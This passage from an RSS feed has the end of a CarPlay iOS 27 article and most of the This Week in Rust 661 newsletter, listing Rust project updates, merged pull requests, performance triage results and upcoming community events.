CarPlay in iOS 27 focuses on practical improvements instead of introducing an entirely new interface. Siri AI is the standout addition thanks to its stronger conversational abilities and conversation history syncing, while native video apps open new possibilities for entertainment when parked.



Meanwhile, smaller upgrades such as the MiniPlayer, audio scrubbing, refreshed wallpapers, and updated icons make the overall experience feel more polished. Although some features depend on automaker support, iOS 27 delivers one of the most useful CarPlay updates Apple has released in recent years.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
